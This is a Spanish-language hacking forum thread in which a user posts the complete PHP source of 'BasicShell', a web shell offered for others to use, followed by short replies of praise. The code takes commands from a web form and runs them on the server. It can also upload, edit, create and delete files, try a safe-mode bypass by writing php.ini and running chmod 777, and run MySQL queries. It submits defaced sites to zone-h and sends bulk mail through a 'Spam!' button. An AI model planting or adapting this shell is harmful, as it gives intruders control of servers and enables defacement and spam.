Okol BasicShell v1

Iniciado por Okol, Enero 16, 2013, 05:09:29 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Enero 16, 2013, 05:09:29 PM Ultima modificación: Enero 16, 2013, 05:26:20 PM por Okol
Hola amigos, espero se encuentren bien.
he estado trabajando en esté proyecto alrededor de tres días, es una shell (Basica).
espero la disfruten y pues cualquier cosa pueden decirla.

Funciones:

-Subir archivos
-Eliminar, crear y modificar archivos.
-Ejecución de comandos en el sistema.
-Bypass Safemode
-Listado de archivos en el directorio.
-Mysql query's
-Encriptar y desencriptar en base64
-Encriptar en MD5
-Zone-h Reporter
-Mailer.

*El servidor no debe tener desactivada la función system()

Espero les pueda servir para algo.
Saludos comunidad.

Source:
Código: php
<title>BasicShell</title>
<h1>BasicShell Okol</h1>
<font size="2" color="red">Uname</font><font size="2" color="gray"> <?php system('uname -a'); ?></font><br />
<font size="2" color="red">usuario</font><font size="2" color="gray"> <?php system('id'); ?></font><br />
<font size="2" color="red">PHP Version</font><font size="2" color="gray"> <?php echo phpversion();?></font><br />
<font size="2" color="red">Tu IP</font><font size="2" color="gray"> <?php ECHO $_SERVER['REMOTE_ADDR']; ?></font><br />
<font size="2" color="red">Safe Mode</font><font size="2" color="gray"> <?php $safe_mode = @ini_get('safe_mode')?'<font color="red">ON</font>':'<font color="green">OFF</font>'; echo $safe_mode; ?></font><br /><br />
<font size="2">
<style type="text/css">
input[type='text'] { color: red; width:100px;height:20px;background-color:gray;color:yellow;font-size:10pt; font-family:Verdana;text-align:center}
</style>
<style type="text/css">
textarea{ color: red;width:350px;height:150px;font-size:12px;font-family:Helvetica;background-color:gray;color:yellow;}
</style>
<style type="text/css">
input[type='submit'] { color: red; width:100px;height:20px;background-color:red;color:yellow;font-size:7pt; font-family:Verdana;text-align:center}

</style>
<style type="text/css">
            body { background-color: #000; color: #F80; text-align: center;size:12px; }
            img { width: 18px; height: 18px; }
           
            a { color: #000; text-decoration: none; font-family:Helvetica; size: 9px; }
            td { padding-left: 20px; text-align: justify; }
        </style>
<form action="<?php basename($_SERVER['PHP_SELF']);  ?>" method="post" enctype="multipart/form-data">
 
    <h3>Enviar un nuevo archivo: </h3>
    <br>
    <input name="userfile" type="file">
    <br>
    <input type="submit" value="Enviar" name="subir">
    </form>
<h3>eliminar archivo<br />

<form method="POST" action="<?php basename($_SERVER['PHP_SELF']);  ?>">
    <input type="text" name="archivoaeliminar">
    <input type="submit" value="Eliminar">

<form method="POST" action="<?php basename($_SERVER['PHP_SELF']);  ?>">
    <h3>Comando a ejecutar</h3><br />
    <input type="text"  name="ejec"><br />
    <input type="submit" value="Ejecutar"><br />
</form>
<form method="POST" action="<?php basename($_SERVER['PHP_SELF']);  ?>">
    <h3>Bypass Safemode</h3><br>
    <input type="submit" name="safemode" value="Bypass safemode">

</form>
<?php
echo '<h3>Los archivos en el directorio son:</h3><br>';
#Listado de archivos
if ($gestor = opendir('.')) {
    while (false !== ($entrada = readdir($gestor))) {
        if ($entrada != "." && $entrada != "..") {
            echo '<pre>';
            echo "$entrada\n";
            echo '</pre>';
        }
    }
    closedir($gestor);
}
?>
<h3>Modificar un archivo existente:</h3>
<form method="POST" action="<?php basename($_SERVER['PHP_SELF']);  ?>">
    Nombre de archivo a modificar:<br>
    <input type="text" name="archmod" value="index.php" >
    <input type="submit" name="modificar" value="Abrir archivo"><br><br>
    Codigo<br>
    <textarea name="contenido" cols="80" rows="15">
         <?php
        if(isset($_POST['archmod']) && $_POST['archmod'] != "")
        {
            echo abrirarchivo($_POST['archmod']);
        }
        ?>
    </textarea><br />
    <input type="submit" name="modificar" value="Guardar cambios"><br>
</form>
<h3>Crear archivo:</h3><br><br>
<form method="POST" action="<?php basename($_SERVER['PHP_SELF']);  ?>">
    Nombre del archivo<br />
    <input type="text" name="archivo"><br /><br>
    Codigo<br />
    <textarea name="contenido2" cols="60" rows="15"></textarea><br />
    <input type="submit" value="crear" name="Mod"><br />
</form>
<form method="POST" action="<?php basename($_SERVER['PHP_SELF']);  ?>">
    <h3>Sentencias Mysql</h3><br>
    Host:<input type="text" name="host">
    User:<input type="text" name="user">
    Password:<input type="text" name="password"><br>
    DB:<input type="text" name="database">
    Query: <input type="text" name="query">
    <input type="submit" value="Ejecutar" name="mysqlsentencia">
</form>
<h3>Cifrar y Descifrar</h3>
<form method="POST" action ="<?php basename($_SERVER['PHP_SELF']) ?>">
     Ingrese texto a Desencriptar:<br>
     <input type="text" name="decript64"><br>
     <input type="submit" value="Desencriptar">
     </form>

<form method="POST" action ="<?php basename($_SERVER['PHP_SELF']) ?>">
     Ingrese texto a encriptar:<br>
     <input type="text" name="encript64"><br>
     <input type="submit" value="Encriptar"><br /><br />
     </form>

     <form method="POST" action="<?php basename($_SERVER['PHP_SELF']) ?>">
        Encriptar en MD5<br />
        <input type="text" name="md5en">
        <input type="submit" value="encriptar"><br>
    </form>
<h3>Zone-H Reporter</h3>
    <form method="POST" action="<?php basename($_SERVER['PHP_SELF']) ?>">
    url1:<br><input type="text" name="report" value="http://"><br>
url2:<br><input type="text" name="report1" value="http://"><br>
url3:<br><input type="text" name="report2" value="http://"><br>
url4:<br><input type="text" name="report3" value="http://"><br>
url5:<br><input type="text" name="report4" value="http://"><br>
url6:<br><input type="text" name="report5" value="http://"><br>
url7:<br><input type="text" name="report6" value="http://"><br>
url8:<br><input type="text" name="report7" value="http://"><br>
url9:<br><input type="text" name="report8" value="http://"><br>
url10:<br><input type="text" name="report9" value="http://"><br>
    nick: <br><input type="text" name="nick"><br>
   
    <input type="submit" value="Reportar">
    </form></center>
<h3>Mailer</h3>
    <form method="post" action="<?php basename($_SERVER['PHP_SELF']) ?>">
        Desde:<input type="text"name="from"><br /><br />
        Asunto<input type="text"name="asunto"><br /><br />
        Numero De Mensajes<input type="text"name="num"><br /><br />
        Para:<textarea name="para"></textarea><br>
        [*]Si son varios mails separalos por coma...<br><br />
        Contenido:<TEXTAREA name="cont"></TEXTAREA><br>
        <center><input type="submit" value="Spam!" name="spam"><br /></center>
    </form>
<?php
@set_magic_quotes_runtime(0);
#Ejecutar comando
function ejecutaros(){
    echo '<textarea cols="70" rows="10">';
    $ejec = @system($_POST['ejec']);
    echo '</textarea>';
}
#crear archivo
function crear(){
    $contenido = $_POST['contenido2'];
    $nombre = $_POST['archivo'];
    $crear = @fopen($nombre,'w+');
    @fwrite($crear, $contenido);
    @fclose($crear);
    echo 'El archivo se ha creado correctamente.';
}
#Bypass safe mode
function bysafemode(){
    $sacrear = fopen("php.ini",'w+');
    fwrite($sacrear, 'safe_mode = Off ');
    fclose($sacrear);
    system('chmod 777 php.ini');
}
#Subir archivo
function subir(){
$allowed_ext = "rar,jpg,php,png,txt,html,zip,pl,py,mp3,c"; 
$overwrite = "no";
$match = "";
$filesize = $_FILES['userfile']['size'];
$filename = strtolower($_FILES['userfile']['name']);

if($filesize < 1){
   @$error .= "- Archivo vacío.<br>";
}
$file_ext = preg_split("/\./",$filename);
$allowed_ext = preg_split("/\,/",$allowed_ext);
foreach($allowed_ext as $ext){
   if($ext==$file_ext[1]) $match = "1";
}
if(@$error){
   print "Se ha producido el siguiente error al subir el archivo:<br> $error";
}else{
   if(move_uploaded_file($_FILES['userfile']['tmp_name'], $filename)){
      print "<b>$filename</b> se ha subido correctamente!";
   }
}
}
#Mysql Query
function mysqlsen(){
    $host = $_POST['host'];
    $user = $_POST['user'];
    $pass = $_POST['password'];
    $query = $_POST['query'];
    $db = $_POST['database'];
    $con = mysql_connect($host, $user, $pass);
    echo mysql_error()?"Error: " . mysql_error():"Conectado con exito\n";
                mysql_select_db($db, $con);
                    echo mysql_error()?"Error: " . mysql_error():"DB seleccionada con exito\n\n";
                $resultado = mysql_query($query);
if($result)
                {
                    while($line = mysql_fetch_array($result,MYSQL_ASSOC))
                    {
                        print_r ($line);
                    }
                }
                //while ($row = mysql_fetch_array($result,MYSQL_ASSOC)) print_r($row); 
                //mysql_free_result($result);
                //die;
            }

function abrirarchivo($arc)
{
     $archivo = @file_get_contents($arc);
     $archivo = ucfirst($archivo);
     return htmlentities(@$archivo);
}
#encript b64
function base64en(){
     $encript = base64_encode($_POST['encript64']);
     echo $encript;
}

#Decript b64
function base64de(){
    $decript = base64_decode($_POST['decript64']);
    echo $decript;
}

#encript Md5
function md5encript(){
    $encriptmd5 = md5($_POST['md5en']);
    echo $encriptmd5;
}

#Eliminar archivos
function eliminararch(){
$eliminar = $_POST['archivoaeliminar'];
@unlink($eliminar);
}

if(isset($_POST['contenido2'])){
    crear();
}
if(isset($_POST['ejec'])){
    ejecutaros();
}
if(isset($_POST['safemode'])){
    bysafemode();
}
if(isset($_POST['subir'])){
    subir();
}
if(isset($_POST['mysqlsentencia'])){
    mysqlsen();
}
if(isset($_POST['encript64'])){
    base64en();
}
if(isset($_POST['decript64'])){
    base64de();
}
if(isset($_POST['md5en'])){
    md5encript();
}
if(isset($_POST['archivoaeliminar'])){
    eliminararch();
}
     
   
    if(isset($_POST['report']))
    {
    @$defacer = htmlentities($_POST['nick']);
    @$url = htmlentities($_POST['report']);
    @$url2 = htmlentities($_POST['report1']);
    @$url3 = htmlentities($_POST['report2']);
    @$url4 = htmlentities($_POST['report3']);
    @$url5 = htmlentities($_POST['report4']);
    @$url6 = htmlentities($_POST['report5']);
    @$url7 = htmlentities($_POST['report6']);
    @$url8 = htmlentities($_POST['report7']);
    @$url9 = htmlentities($_POST['report8']);
    @$url10 = htmlentities($_POST['report9']);
    function ReportarSuperCaker($url,$url2,$url3,$url4,$url5,$url6,$url7,$url8,$url9,$url10,$defacer,$modohackeo,$rason)
    { 
     
    $ch = curl_init("http://zone-h.com/notify/mass");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$defacer&domain1=$url&domain2=$url2&domain3=$url3&domain4=$url4&domain5=$url5&domain6=$url6&domain7=$url7&domain8=$url8&domain9=$url9&domain10=$url10&hackmode=$modohackeo&reason=$rason");
    curl_exec($ch);
    curl_close($ch);
    }
     
    ReportarSuperCaker("$url","$url2","$url3","$url4","$url5","$url6","$url7","$url8","$url9","$url10","$defacer","6","7");
     
    }
     if(isset($_POST['spam'])){
$desde = $_POST['from'];
$para= $_POST['para'];
$cont= $_POST['cont'];
$asunto= $_POST['asunto'];
$numsj= $_POST['num'];
$lol=0;
while($lol < $numsj){
    $lol=$lol + 1;
mail($para,$asunto,$cont,'From:'.$desde);
                    }
if(mail($para,$asunto,$cont,'From:'.$desde))
{
    echo'<>Enviado Correctamente!<br>';

}else{
    echo '<center>No se pudo enviar el mensaje<br>';
}
}

?>
<font size="2" color="gray">By Okol twitter: @Okoltutos | HackxCrack | Underc0de | StrikeGeek | Greetz: all my friends</font>
Underc0de Manager!
  • Followme In Twitter: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

  • You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

  • You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login Visit!

Dalee
Sigueme en Twitter : @Sankosk
Estos nuevos staff no tienen puta idea XD

Bien amigo, veo que vas progresando en PHP :) yo tmb habia programado una hace unos años, aprendaras mucho con eso ve mejorandola, cualquier cosa me tienes en el skype ;)

Ya estas turkita :'3
un abrazo amiga.
Underc0de Manager!
  • Followme In Twitter: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

  • You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

  • You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login Visit!

Te ha quedao de PTM bro, sigue asi  ;D

-Saludos-